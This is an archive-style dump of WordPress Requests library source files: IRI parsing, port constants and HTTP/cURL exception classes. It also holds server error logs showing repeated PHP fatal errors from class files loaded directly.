				) {
					for ($j = $start; $j <= $i; $j++) {
						$string .= '%' . strtoupper($bytes[$j]);
					}
				}
				else {
					for ($j = $start; $j <= $i; $j++) {
						$string .= chr(hexdec($bytes[$j]));
					}
				}
			}
		}

		// If we have any bytes left over they are invalid (i.e., we are
		// mid-way through a multi-byte sequence)
		if ($remaining) {
			for ($j = $start; $j < $len; $j++) {
				$string .= '%' . strtoupper($bytes[$j]);
			}
		}

		return $string;
	}

	protected function scheme_normalization() {
		if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) {
			$this->iuserinfo = null;
		}
		if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) {
			$this->ihost = null;
		}
		if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) {
			$this->port = null;
		}
		if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) {
			$this->ipath = '';
		}
		if (isset($this->ihost) && empty($this->ipath)) {
			$this->ipath = '/';
		}
		if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) {
			$this->iquery = null;
		}
		if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) {
			$this->ifragment = null;
		}
	}

	/**
	 * Check if the object represents a valid IRI. This needs to be done on each
	 * call as some things change depending on another part of the IRI.
	 *
	 * @return bool
	 */
	public function is_valid() {
		$isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null;
		if ($this->ipath !== '' &&
			(
				$isauthority && $this->ipath[0] !== '/' ||
				(
					$this->scheme === null &&
					!$isauthority &&
					strpos($this->ipath, ':') !== false &&
					(strpos($this->ipath, '/') === false ? true : strpos($this->ipath, ':') < strpos($this->ipath, '/'))
				)
			)
		) {
			return false;
		}

		return true;
	}

	public function __wakeup() {
		$class_props = get_class_vars( __CLASS__ );
		$string_props = array( 'scheme', 'iuserinfo', 'ihost', 'port', 'ipath', 'iquery', 'ifragment' );
		$array_props = array( 'normalization' );
		foreach ( $class_props as $prop => $default_value ) {
			if ( in_array( $prop, $string_props, true ) && ! is_string( $this->$prop ) ) {
				throw new UnexpectedValueException();
			} elseif ( in_array( $prop, $array_props, true ) && ! is_array( $this->$prop ) ) {
				throw new UnexpectedValueException();
			}
			$this->$prop = null;
		}
	}

	/**
	 * Set the entire IRI. Returns true on success, false on failure (if there
	 * are any invalid characters).
	 *
	 * @param string $iri
	 * @return bool
	 */
	protected function set_iri($iri) {
		static $cache;
		if (!$cache) {
			$cache = array();
		}

		if ($iri === null) {
			return true;
		}

		$iri = (string) $iri;

		if (isset($cache[$iri])) {
			list($this->scheme,
				 $this->iuserinfo,
				 $this->ihost,
				 $this->port,
				 $this->ipath,
				 $this->iquery,
				 $this->ifragment,
				 $return) = $cache[$iri];
			return $return;
		}

		$parsed = $this->parse_iri($iri);

		$return = $this->set_scheme($parsed['scheme'])
			&& $this->set_authority($parsed['authority'])
			&& $this->set_path($parsed['path'])
			&& $this->set_query($parsed['query'])
			&& $this->set_fragment($parsed['fragment']);

		$cache[$iri] = array($this->scheme,
							 $this->iuserinfo,
							 $this->ihost,
							 $this->port,
							 $this->ipath,
							 $this->iquery,
							 $this->ifragment,
							 $return);
		return $return;
	}

	/**
	 * Set the scheme. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $scheme
	 * @return bool
	 */
	protected function set_scheme($scheme) {
		if ($scheme === null) {
			$this->scheme = null;
		}
		elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) {
			$this->scheme = null;
			return false;
		}
		else {
			$this->scheme = strtolower($scheme);
		}
		return true;
	}

	/**
	 * Set the authority. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $authority
	 * @return bool
	 */
	protected function set_authority($authority) {
		static $cache;
		if (!$cache) {
			$cache = array();
		}

		if ($authority === null) {
			$this->iuserinfo = null;
			$this->ihost = null;
			$this->port = null;
			return true;
		}
		if (isset($cache[$authority])) {
			list($this->iuserinfo,
				 $this->ihost,
				 $this->port,
				 $return) = $cache[$authority];

			return $return;
		}

		$remaining = $authority;
		if (($iuserinfo_end = strrpos($remaining, '@')) !== false) {
			$iuserinfo = substr($remaining, 0, $iuserinfo_end);
			$remaining = substr($remaining, $iuserinfo_end + 1);
		}
		else {
			$iuserinfo = null;
		}

		if (($port_start = strpos($remaining, ':', (strpos($remaining, ']') ?: 0))) !== false) {
			$port = substr($remaining, $port_start + 1);
			if ($port === false || $port === '') {
				$port = null;
			}
			$remaining = substr($remaining, 0, $port_start);
		}
		else {
			$port = null;
		}

		$return = $this->set_userinfo($iuserinfo) &&
				  $this->set_host($remaining) &&
				  $this->set_port($port);

		$cache[$authority] = array($this->iuserinfo,
								   $this->ihost,
								   $this->port,
								   $return);

		return $return;
	}

	/**
	 * Set the iuserinfo.
	 *
	 * @param string $iuserinfo
	 * @return bool
	 */
	protected function set_userinfo($iuserinfo) {
		if ($iuserinfo === null) {
			$this->iuserinfo = null;
		}
		else {
			$this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:');
			$this->scheme_normalization();
		}

		return true;
	}

	/**
	 * Set the ihost. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $ihost
	 * @return bool
	 */
	protected function set_host($ihost) {
		if ($ihost === null) {
			$this->ihost = null;
			return true;
		}
		if (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') {
			if (Ipv6::check_ipv6(substr($ihost, 1, -1))) {
				$this->ihost = '[' . Ipv6::compress(substr($ihost, 1, -1)) . ']';
			}
			else {
				$this->ihost = null;
				return false;
			}
		}
		else {
			$ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;=');

			// Lowercase, but ignore pct-encoded sections (as they should
			// remain uppercase). This must be done after the previous step
			// as that can add unescaped characters.
			$position = 0;
			$strlen = strlen($ihost);
			while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) {
				if ($ihost[$position] === '%') {
					$position += 3;
				}
				else {
					$ihost[$position] = strtolower($ihost[$position]);
					$position++;
				}
			}

			$this->ihost = $ihost;
		}

		$this->scheme_normalization();

		return true;
	}

	/**
	 * Set the port. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $port
	 * @return bool
	 */
	protected function set_port($port) {
		if ($port === null) {
			$this->port = null;
			return true;
		}

		if (strspn($port, '0123456789') === strlen($port)) {
			$this->port = (int) $port;
			$this->scheme_normalization();
			return true;
		}

		$this->port = null;
		return false;
	}

	/**
	 * Set the ipath.
	 *
	 * @param string $ipath
	 * @return bool
	 */
	protected function set_path($ipath) {
		static $cache;
		if (!$cache) {
			$cache = array();
		}

		$ipath = (string) $ipath;

		if (isset($cache[$ipath])) {
			$this->ipath = $cache[$ipath][(int) ($this->scheme !== null)];
		}
		else {
			$valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/');
			$removed = $this->remove_dot_segments($valid);

			$cache[$ipath] = array($valid, $removed);
			$this->ipath = ($this->scheme !== null) ? $removed : $valid;
		}
		$this->scheme_normalization();
		return true;
	}

	/**
	 * Set the iquery.
	 *
	 * @param string $iquery
	 * @return bool
	 */
	protected function set_query($iquery) {
		if ($iquery === null) {
			$this->iquery = null;
		}
		else {
			$this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true);
			$this->scheme_normalization();
		}
		return true;
	}

	/**
	 * Set the ifragment.
	 *
	 * @param string $ifragment
	 * @return bool
	 */
	protected function set_fragment($ifragment) {
		if ($ifragment === null) {
			$this->ifragment = null;
		}
		else {
			$this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?');
			$this->scheme_normalization();
		}
		return true;
	}

	/**
	 * Convert an IRI to a URI (or parts thereof)
	 *
	 * @param string|bool $iri IRI to convert (or false from {@see \WpOrg\Requests\Iri::get_iri()})
	 * @return string|false URI if IRI is valid, false otherwise.
	 */
	protected function to_uri($iri) {
		if (!is_string($iri)) {
			return false;
		}

		static $non_ascii;
		if (!$non_ascii) {
			$non_ascii = implode('', range("\x80", "\xFF"));
		}

		$position = 0;
		$strlen = strlen($iri);
		while (($position += strcspn($iri, $non_ascii, $position)) < $strlen) {
			$iri = substr_replace($iri, sprintf('%%%02X', ord($iri[$position])), $position, 1);
			$position += 3;
			$strlen += 2;
		}

		return $iri;
	}

	/**
	 * Get the complete IRI
	 *
	 * @return string|false
	 */
	protected function get_iri() {
		if (!$this->is_valid()) {
			return false;
		}

		$iri = '';
		if ($this->scheme !== null) {
			$iri .= $this->scheme . ':';
		}
		if (($iauthority = $this->get_iauthority()) !== null) {
			$iri .= '//' . $iauthority;
		}
		$iri .= $this->ipath;
		if ($this->iquery !== null) {
			$iri .= '?' . $this->iquery;
		}
		if ($this->ifragment !== null) {
			$iri .= '#' . $this->ifragment;
		}

		return $iri;
	}

	/**
	 * Get the complete URI
	 *
	 * @return string
	 */
	protected function get_uri() {
		return $this->to_uri($this->get_iri());
	}

	/**
	 * Get the complete iauthority
	 *
	 * @return string|null
	 */
	protected function get_iauthority() {
		if ($this->iuserinfo === null && $this->ihost === null && $this->port === null) {
			return null;
		}

		$iauthority = '';
		if ($this->iuserinfo !== null) {
			$iauthority .= $this->iuserinfo . '@';
		}
		if ($this->ihost !== null) {
			$iauthority .= $this->ihost;
		}
		if ($this->port !== null) {
			$iauthority .= ':' . $this->port;
		}
		return $iauthority;
	}

	/**
	 * Get the complete authority
	 *
	 * @return string
	 */
	protected function get_authority() {
		$iauthority = $this->get_iauthority();
		if (is_string($iauthority)) {
			return $this->to_uri($iauthority);
		}
		else {
			return $iauthority;
		}
	}
}
Port.php000064400000002741151024327070006206 0ustar00<?php
/**
 * Port utilities for Requests
 *
 * @package Requests\Utilities
 * @since   2.0.0
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;

/**
 * Find the correct port depending on the Request type.
 *
 * @package Requests\Utilities
 * @since   2.0.0
 */
final class Port {

	/**
	 * Port to use with Acap requests.
	 *
	 * @var int
	 */
	const ACAP = 674;

	/**
	 * Port to use with Dictionary requests.
	 *
	 * @var int
	 */
	const DICT = 2628;

	/**
	 * Port to use with HTTP requests.
	 *
	 * @var int
	 */
	const HTTP = 80;

	/**
	 * Port to use with HTTP over SSL requests.
	 *
	 * @var int
	 */
	const HTTPS = 443;

	/**
	 * Retrieve the port number to use.
	 *
	 * @param string $type Request type.
	 *                     The following requests types are supported:
	 *                     'acap', 'dict', 'http' and 'https'.
	 *
	 * @return int
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When a non-string input has been passed.
	 * @throws \WpOrg\Requests\Exception                 When a non-supported port is requested ('portnotsupported').
	 */
	public static function get($type) {
		if (!is_string($type)) {
			throw InvalidArgument::create(1, '$type', 'string', gettype($type));
		}

		$type = strtoupper($type);
		if (!defined("self::{$type}")) {
			$message = sprintf('Invalid port type (%s) passed', $type);
			throw new Exception($message, 'portnotsupported');
		}

		return constant("self::{$type}");
	}
}
Exception/error_log000064400000020132151024327070010416 0ustar00[28-Oct-2025 08:25:41 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[28-Oct-2025 14:06:18 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport.php on line 17
[28-Oct-2025 16:02:18 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http.php on line 18
[01-Nov-2025 23:59:18 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[02-Nov-2025 05:51:56 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport.php on line 17
[02-Nov-2025 07:16:50 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http.php on line 18
[02-Nov-2025 17:56:32 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[03-Nov-2025 01:02:13 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport.php on line 17
[03-Nov-2025 02:48:49 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http.php on line 18
[03-Nov-2025 14:05:51 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[03-Nov-2025 14:25:27 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[03-Nov-2025 14:35:27 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[03-Nov-2025 18:00:06 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http.php on line 18
[04-Nov-2025 11:21:06 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[04-Nov-2025 11:22:44 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http.php on line 18
[04-Nov-2025 11:26:49 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport.php on line 17
[04-Nov-2025 11:33:09 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http.php on line 18
[04-Nov-2025 11:34:56 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[04-Nov-2025 11:39:00 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport.php on line 17
[04-Nov-2025 11:47:01 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http.php on line 18
[04-Nov-2025 11:47:48 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[04-Nov-2025 11:55:25 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport.php on line 17
[05-Nov-2025 12:32:04 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport.php on line 17
Exception/Transport/error_log000064400000005740151024327070012422 0ustar00[28-Oct-2025 15:24:50 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[02-Nov-2025 06:48:38 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[03-Nov-2025 01:51:16 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[04-Nov-2025 14:53:39 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[04-Nov-2025 14:54:32 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[05-Nov-2025 11:19:52 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[05-Nov-2025 11:20:15 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[05-Nov-2025 15:27:02 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
Exception/Transport/Curl.php000064400000002565151024327070012125 0ustar00<?php
/**
 * CURL Transport Exception.
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Transport;

use WpOrg\Requests\Exception\Transport;

/**
 * CURL Transport Exception.
 *
 * @package Requests\Exceptions
 */
final class Curl extends Transport {

	const EASY  = 'cURLEasy';
	const MULTI = 'cURLMulti';
	const SHARE = 'cURLShare';

	/**
	 * cURL error code
	 *
	 * @var integer
	 */
	protected $code = -1;

	/**
	 * Which type of cURL error
	 *
	 * EASY|MULTI|SHARE
	 *
	 * @var string
	 */
	protected $type = 'Unknown';

	/**
	 * Clear text error message
	 *
	 * @var string
	 */
	protected $reason = 'Unknown';

	/**
	 * Create a new exception.
	 *
	 * @param string $message Exception message.
	 * @param string $type    Exception type.
	 * @param mixed  $data    Associated data, if applicable.
	 * @param int    $code    Exception numerical code, if applicable.
	 */
	public function __construct($message, $type, $data = null, $code = 0) {
		if ($type !== null) {
			$this->type = $type;
		}

		if ($code !== null) {
			$this->code = (int) $code;
		}

		if ($message !== null) {
			$this->reason = $message;
		}

		$message = sprintf('%d %s', $this->code, $this->reason);
		parent::__construct($message, $this->type, $data, $this->code);
	}

	/**
	 * Get the error message.
	 *
	 * @return string
	 */
	public function getReason() {
		return $this->reason;
	}

}
Exception/InvalidArgument.php000064400000002122151024327070012302 0ustar00<?php

namespace WpOrg\Requests\Exception;

use InvalidArgumentException;

/**
 * Exception for an invalid argument passed.
 *
 * @package Requests\Exceptions
 * @since   2.0.0
 */
final class InvalidArgument extends InvalidArgumentException {

	/**
	 * Create a new invalid argument exception with a standardized text.
	 *
	 * @param int    $position The argument position in the function signature. 1-based.
	 * @param string $name     The argument name in the function signature.
	 * @param string $expected The argument type expected as a string.
	 * @param string $received The actual argument type received.
	 *
	 * @return \WpOrg\Requests\Exception\InvalidArgument
	 */
	public static function create($position, $name, $expected, $received) {
		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace
		$stack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);

		return new self(
			sprintf(
				'%s::%s(): Argument #%d (%s) must be of type %s, %s given',
				$stack[1]['class'],
				$stack[1]['function'],
				$position,
				$name,
				$expected,
				$received
			)
		);
	}
}
Exception/Http/Status501.php000064400000000725151024327070011650 0ustar00<?php
/**
 * Exception for 501 Not Implemented responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 501 Not Implemented responses
 *
 * @package Requests\Exceptions
 */
final class Status501 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 501;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Implemented';
}
Exception/Http/Status412.php000064400000000741151024327070011647 0ustar00<?php
/**
 * Exception for 412 Precondition Failed responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 412 Precondition Failed responses
 *
 * @package Requests\Exceptions
 */
final class Status412 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 412;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Precondition Failed';
}
Exception/Http/error_log000064400000244140151024327070011344 0ustar00[28-Oct-2025 14:24:39 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[28-Oct-2025 14:24:48 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[28-Oct-2025 14:25:14 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[28-Oct-2025 14:26:19 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[28-Oct-2025 14:27:23 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[28-Oct-2025 14:28:27 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[28-Oct-2025 14:29:31 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[28-Oct-2025 14:30:32 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
